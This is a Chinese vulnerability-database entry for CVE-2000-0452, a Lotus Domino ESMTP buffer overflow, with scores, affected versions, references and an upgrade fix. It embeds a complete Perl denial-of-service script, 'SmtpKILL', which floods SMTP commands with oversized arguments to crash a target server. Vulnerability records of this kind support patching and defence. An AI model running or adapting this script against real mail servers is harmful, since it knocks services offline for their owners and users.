CVE-2000-0452
CVSS5.0
发布时间 :2000-05-18 00:00:00
修订时间 :2008-09-10 15:04:42
NMCOE    

[原文]Buffer overflow in the ESMTP service of Lotus Domino Server 5.0.1 allows remote attackers to cause a denial of service via a long MAIL FROM command.


[CNNVD]Lotus Domino Server ESMTP远程缓冲区溢出漏洞(CNNVD-200005-075)

        
        Lotus Domino服务器是一款基于WEB合作的应用程序架构,运行在Linux/Unix和Microsoft Windows操作系统平台下。
        Lotus Domino服务器的ESMTP服务存在缓冲区溢出漏洞,远程攻击者可能可以利用这个漏洞进行拒绝服务攻击。
        Lotus Domino服务器的ESMTP服务在处理'rcpt to'、'saml from'和'soml from'命令时缺乏缓冲区检查。如果Lotus Domino服务器接受到这三个命令中任意一个,并且参数超过4 KB,系统将崩溃并且只有重起才能恢复继续服务。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:lotus:domino_mail_server:5.0.3
cpe:/a:lotus:domino_mail_server:5.0.2
cpe:/a:lotus:domino_enterprise_server:5.0.2
cpe:/a:lotus:domino_mail_server:5.0.1
cpe:/a:lotus:domino_enterprise_server:5.0.1
cpe:/a:lotus:domino_enterprise_server:5.0.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0452
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0452
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-075
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1229
(UNKNOWN)  BID  1229
http://www.osvdb.org/321
(UNKNOWN)  OSVDB  321
http://archives.neohapsis.com/archives/bugtraq/2000-05/0219.html
(UNKNOWN)  BUGTRAQ  20000518 Lotus ESMTP Service (Lotus Domino Release 5.0.1 (Intl))

- 漏洞信息

Lotus Domino Server ESMTP远程缓冲区溢出漏洞
中危 边界条件错误
2000-05-18 00:00:00 2005-05-02 00:00:00
远程※本地  
        
        Lotus Domino服务器是一款基于WEB合作的应用程序架构,运行在Linux/Unix和Microsoft Windows操作系统平台下。
        Lotus Domino服务器的ESMTP服务存在缓冲区溢出漏洞,远程攻击者可能可以利用这个漏洞进行拒绝服务攻击。
        Lotus Domino服务器的ESMTP服务在处理'rcpt to'、'saml from'和'soml from'命令时缺乏缓冲区检查。如果Lotus Domino服务器接受到这三个命令中任意一个,并且参数超过4 KB,系统将崩溃并且只有重起才能恢复继续服务。
        

- 公告与补丁

        厂商补丁:
        Lotus
        -----
        目前厂商已经发布了升级补丁以修复这个安全问题,升级到Lotus Domino 5.0.5以上版本:
        
        http://www.lotus.com/

- 漏洞信息 (19944)

Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3,Mail Server 5.0.1/5.0.2/5.0.3 Buffer Overflow (EDBID:19944)
multiple remote
2000-05-18 Verified
0 smiler
N/A [点击下载]
Lotus Domino Enterprise Server 5.0.1/5.0.2/5.0.3,Mail Server 5.0.1/5.0.2/5.0.3 Buffer Overflow

source: http://www.securityfocus.com/bid/1229/info

The code that handles the 'rcpt to' 'saml from' and 'soml from' commands in the ESMTP service of Lotus Domino Server has an unchecked buffer. If Lotus Domino Server receives an argument of more than 4 KB to the any of the listed commands, the system will crash and will require a reboot in order to regain normal functionality. 

#!/usr/bin/perl
# Need net::telnet to run
# Expl0it By smiler@vxd.org
# Tested with sucess against Lotus Notes 5.0.1, 5.0.2b, 5.0.3
# CMail Server version 2.4.6, Argosoft Mail Server version 1.2.1.0 
# and probably many others that I hadnt chance to explore.
# I wrote this after Michal Zalewski brought this issue in BugTraq.
# Cheers 351 and FractalG :)

use Net::Telnet;   


print "SmtpKILL By smiler\@vxd.org\n";

if (not $ARGV[1]) {
print qq~
Usage : smtpkill.pl  <type> <host>
	<type> Type of attack :
		type 1 = long mail from: someone\@4k_of_junk
		type 2 = long rcpt to: someone\@4k_of_junk
		type 3 = long helo longdomain_with_4k_of_junk
		type 4 = long undefined command (4k_of_junk)
		type 5 = long help 4k_of_junk
		type 6 = long mail from: and mail to:

	<host> Host that you want to DOS, Ip or Domain will be ok.
Example Usage : smtpkill.pl 5 127.0.0.1
~; exit;}      

$type=$ARGV[0];
$target=$ARGV[1];

print "TYPE ATTACK: $type\n";
print "TARGET : $target\n";



for ($i=4096;$i<5096;$i++)
 {
        $obj=Net::Telnet->new( Host => "$target",Port => 25);    

	if ($type=~ "1") { 
	$helo="helo ptrulez";
	$from="mail from: v0v0@". 'ptrulez' x $i;
	$rcpt="rcpt to: v0v0\@v0v0.pt";
	}

	if ($type=~ "2") { 
	$helo="helo ptrulez";
	$from="mail from: v0v0\@v0v0.pt";
	$rcpt="rcpt to: v0v0@". 'ptrulez' x $i;
	}

	if ($type=~ "3") {
	$helo="helo ". 'ptrulez' x $i;
	$from="mail from: v0v0\@v0v0.pt";
	$rcpt="rcpt to: v0v0\@v0v0.pt";
	}

	if ($type=~ "4") {
	$helo="havesomefun". 'ptrulez' x $i;
	}

	if ($type=~ "5") {
	$helo="help ". 'ptrulez' x $i;
	}

	if ($type=~ "6") {
	$helo="helo ptrulez";
	$from="mail from: ". 'ptrulez' x $i;
	$rcpt="rcpt to: ". 'ptrulez' x $i;
	}

        print "$helo\n";$obj->print("$helo");   
        print "$from\n";$obj->print("$from");
        print "$rcpt\n";$obj->print("$rcpt");    
        $obj->close;
 }
		

- 漏洞信息

321
IBM Lotus MAIL FROM Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Lotus Domino ESMTP Service contains a flaw that may allow a remote or local denial of service. The issue is triggered when a large request is sent as the MAIL FROM, RCPT TO, SAML FROM, or SOML FROM commands, and will result in loss of availability for the Domino Server.

- 时间线

2000-05-18 2000-05-18
2000-05-18 Unknow

- 解决方案

Upgrade to version 5.0.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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